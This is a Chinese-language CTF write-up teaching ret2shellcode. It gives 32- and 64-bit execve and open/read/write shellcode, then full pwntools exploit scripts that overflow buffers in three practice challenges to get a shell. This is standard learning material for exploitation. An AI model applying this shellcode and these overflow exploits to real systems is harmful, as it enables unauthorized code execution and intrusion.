前置知识 什么是ret2shellcode
ret2shellcode
,即return to shellcode
意思是劫持函数返回地址为shellcode
的地址,进而控制程序执行shellcode
,拿到shell
。
NX
保护
NX
保护:将数据(堆,栈)所在内存页标识为不可执行,当程序溢出成功转入shellcode
时,程序会尝试在数据页面上执行指令,此时cpu
就会抛出异常,而不是去执行恶意指令。
mprotect
函数
int mprotect (void *addr,size_t len,int prot) ;
shellcode
open(flag_addr,0 ) read(3 ,addr,0x50 ) write(1 ,addr,0x50 )
32
位 系统调用存储参数的前3
个寄存器:ebx,ecx,edx
,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_32.h
文件中查看,eax
存储系统调用号,执行int 0x80
指令进行系统调用。
execve
xor ecx,ecx xor edx,edx xor ebx,ebx ;ebx中现在为0 push ebx ;先把一个0压入栈,用来截断字符串 push 0x68732f2f ;把//sh压入栈 push 0x6e69622f ;把/bin压入栈 mov ebx,esp ;把esp指向的地址赋给了ebx,此时ebx中放的是/bin//sh的地址 push 11 pop eax int 0x80
这里放一张师父的图片,有助于理解怎么把/bin//sh
的地址放入ebx
中
open_read_write
push 0 push 0x67616c66 push esp pop ebx xor ecx,ecx push 5 pop eax int 0x80 push eax pop ebx push esp pop ecx push 0x50 pop edx push 3 pop eax int 0x80 push 1 pop ebx push esp pop ecx push 0x50 pop edx push 4 pop eax int 0x80
64
位 系统调用存储参数的前6
个寄存器:rdi,rsi,rdx,r10,r8,r9
,函数的系统调用号可在/usr/include/x86_64-linux-gnu/asm/unistd_64.h
文件中查看,rax
存储系统调用号,执行syscall
指令进行系统调用。
execve
push 0x3b pop rax mov rdi,0x68732f6e69622f #/bin(2f62696e) /sh(2f7368) push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall
open_read_write
push 0x67616c66 push rsp pop rdi push 0 pop rsi push 2 pop rax syscall push 3 pop rdi push rsp pop rsi push 0x50 pop rdx push 0 pop rax syscall push 1 pop rdi push rsp pop rsi push 0x50 pop rdx push 1 pop rax syscall
我们可以利用pwntools
中的asm
把写好的汇编代码直接转换成机器码
例题 others_shellcode
这道题直接发送shellcode
即可,exp
如下
from pwn import *p = remote("node4.buuoj.cn" ,25752 ) context(arch='i386' ,os='linux' ,log_level='debug' ) shellcode = asm(''' xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp push 11 pop eax int 0x80 ''' )p.sendline(shellcode) p.interactive()
得到flag
ciscn_2019_n_5
拿到题目,先检查保护,没开保护,64
位程序
拖入ida
,
运行程序,有两次输入的地方
Shift+F12
查看字符串,没有找到我们想要的/bin/sh
再看右边函数,也没有system
函数
 我们可以先把```shellcode```写到```bss```段,然后在栈溢出劫持函数返回地址为```shellcode```的起始地址 计算偏移量为```0x28```  ```exp```如下: ```python from pwn import * p = process('./ciscn_2019_n_5') p = remote("node4.buuoj.cn",26032) context(arch='amd64',os='linux',log_level='debug') shellcode = asm(''' push 0x3b pop rax mov rdi,0x68732f6e69622f push rdi push rsp pop rdi xor rsi,rsi xor rdx,rdx syscall ''') p.sendline(shellcode) bss_addr = 0x601080 payload = b'a'*0x28+p64(bss_addr) p.sendline(payload) p.interactive()
得到flag
ez_pz_hackover_2016
拿到题目,检查保护,PIE,NX,canary
都没开,是32
位程序
拖入ida
中,分析题目
先进入header
函数中看看,就是输出图形的,没什么问题
再进入chall
函数中看看,我们主要分析的应该就是这个函数了
 计算缓冲区到```shellcode```的偏移量为```0x1c```  `exp`如下: ```python from pwn import * p = process('./ez_pz_hackover_2016') p = remote("node4.buuoj.cn",26101) context(arch='i386',os='linux',log_level='debug') p.recvuntil('crash: ') s_addr = int(p.recv(10),16) shellcode_addr = s_addr-28 shellcode = asm(''' xor ecx,ecx xor edx,edx xor ebx,ebx push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp push 11 pop eax int 0x80 ''') payload = b'crashme\x00'+b'a'*18+p32(shellcode_addr)+shellcode p.sendline(payload) p.interactive()
得到flag